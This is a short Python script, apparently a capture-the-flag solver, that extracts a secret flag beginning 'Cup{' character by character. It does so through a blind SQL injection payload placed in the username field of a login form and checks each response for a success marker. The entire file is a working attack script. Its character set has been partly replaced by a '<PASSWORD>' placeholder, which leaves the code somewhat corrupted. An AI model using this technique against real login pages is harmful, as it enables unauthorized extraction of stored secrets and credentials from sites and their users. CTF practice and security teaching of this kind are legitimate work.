#!/usr/env python3 
import requests
import sys

flag = 'Cup{'
payload = "' or secret LIKE '{}%' -- '"

if __name__ == "__main__":

	if len( sys.argv ) > 2:
		host = sys.argv[ 1 ]
		port = int( sys.argv[ 2 ], 10 )
	else:
		print( "Usage: python3 " + sys.argv[ 0 ] + " <host> <port>" )
		sys.exit( -1 )

	url = "http://%s:%d/login" % ( host, port )

	print( "{+} Target URL: %s" % url )

	for i in range( 0, 69 ):
		for char in "0<PASSWORD>456789abcdefABCDEF}{":

			username = payload.format( flag + char )
			password = '<PASSWORD>'

			data = { 'username' : username, 'password' : password }

			resp = requests.post( url, data = data )

			if "{+}" in resp.text:
				flag += char
				print( "[+] flag: %s" % flag )
				break
			else:
				continue
